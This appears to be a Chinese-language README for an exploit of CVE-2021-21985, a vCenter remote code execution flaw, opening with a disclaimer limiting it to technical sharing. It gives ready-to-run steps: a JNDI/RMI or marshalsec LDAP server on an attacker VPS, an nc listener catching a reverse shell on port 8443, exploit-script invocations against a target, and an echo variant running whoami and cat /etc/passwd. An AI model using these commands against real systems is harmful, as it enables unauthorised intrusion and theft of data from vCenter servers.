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CVE-2021-21985

CVE-2021-21985 EXP

本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。

0x01 利用Tomcat RMI RCE

1. VPS启动JNDI监听 1099 端口

rmi需要bypass高版本jdk

java -jar JDNIInjection-Bypass.jar <lport> <reverse_ip> <reverse_port>

1623233465680

1623233424934

或者利用ldap协议(未测试)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/#Exploit

ldap://ip:port/Exploit
2. VPS启动nc监听 8443 端口
nc -lvp 8443
3. 执行python脚本
python3 CVE-2021-21985_exp.py <target> <rmi://ip/class>
示例

help

1622714607456

RCE!

1622714842489

1622714789875

0x02 构造可回显RCE

原理：
1. 构造 xml文件
2. 压缩成zip
3. 注入SystemProperties
4. 通过getProperty获取内存中命令结果
执行CVE-2021-21985_echo.py
python3 CVE-2021-21985_echo.py https://x.x.x.x <cmd>

1622881866672

执行 whoami

1622881901956

执行 cat /etc/passwd

1622881962709

Reference

https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis

http://noahblog.360.cn/vcenter-cve-2021-2021-21985/

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